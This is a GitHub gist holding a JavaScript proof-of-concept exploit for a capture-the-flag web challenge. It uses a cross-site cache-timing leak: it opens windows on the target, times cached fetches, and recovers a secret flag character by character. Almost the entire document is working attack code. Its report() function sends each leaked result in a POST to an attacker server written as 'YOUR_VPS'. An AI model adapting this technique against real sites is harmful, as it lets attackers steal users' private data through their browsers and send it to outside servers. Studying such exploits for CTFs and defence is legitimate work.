Skip to content

Instantly share code, notes, and snippets.

@aszx87410
Created May 3, 2022
Embed
What would you like to do?
poc2.js
// to hang the connection
fetch('https://deelay.me/20000/https://example.com')
// NOTE: we will calculate this baseline before doing the attack
var baseLine = 3.2
const sleep = ms => new Promise((resolve) => setTimeout(resolve, ms))
go()
async function go() {
await calculateBaseline()
main()
async function calculateBaseline() {
var m = Math.random()
let win = window.open('https://sustenance.web.actf.co/?m=cached_' + m)
// NOTE: this number can be decreased by detecting window load
await sleep(500)
win.close()
let total = 0
for(let i=1; i<=5; i++) {
let ts = await getLoadTime('https://sustenance.web.actf.co/?m=cached_' + m)
total += ts
report(`Cached time, round: ${i}, ${ts}ms`)
}
// NOTE: 0.5 is just a random guess
baseLine = (total/5) + 0.5
report(`Baseline: ${baseLine}`)
// NOTE: adjust baseline, should not be more than 3 ms based on previous testing
if (baseLine > 3) {
baseLine = 3
}
for(let i=1; i<=3; i++) {
let ts = await getLoadTime('https://sustenance.web.actf.co/?m=not_cached_' + m)
report(`Not Cached time, round: ${i}, ${ts}ms`)
}
}
// NOTE: server is quite fast so no need to set timeout
async function getLoadTime(url) {
const start = performance.now()
await fetch(url, { cache: 'force-cache', mode: 'no-cors' })
return performance.now() - start
}
function genSucceedUrl(t) {
let ft = t + ''
while(ft.length < 13) {
ft += '0'
}
const status = "succeeded, but please give me sustenance if you want to be able to see your search results because I desperately require sustenance";
return 'https://sustenance.web.actf.co/?m=' + encodeURIComponent(`your search that took place at ${ft} has ${status}`);
}
async function isCached(str) {
let start = +new Date()
let win = window.open(`https://sustenance.web.actf.co/q?q=` + encodeURIComponent(str))
await sleep(500)
win.close()
// NOTE: base on the data collected, i should be 1~20, pretty small number
for(let i=1; i<=30; i++) {
const url = genSucceedUrl(start + i)
let loadTime = await getLoadTime(url)
if (loadTime <= baseLine) {
// NOTE: check again to see if it really meets the condition
let total = 0
for(let j=1; j<=3; j++) {
total += await getLoadTime(url)
}
total/=3
if (total <= baseLine) {
report(`isCached success, str=${str}, i=${i}, start=${start}, total=${total}`)
return true
}
}
}
return false
}
async function main() {
let flag = 'actf{yummy_'
// NOTE: we can leak the charset first to speed up the process
let chars = 'acefsmntuy_}'.split('')
while(flag[flag.length - 1] !== '}') {
for(let char of chars) {
report('trying:' + flag + char)
if (await isCached(flag + char)) {
flag += char
report('flag:' + flag)
break
}
}
}
}
async function report(data) {
console.log(data)
// TODO: change to your VPS
return fetch('https://YOUR_VPS/', { method: 'POST', body: data, mode: 'no-cors' }).catch(err => err);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment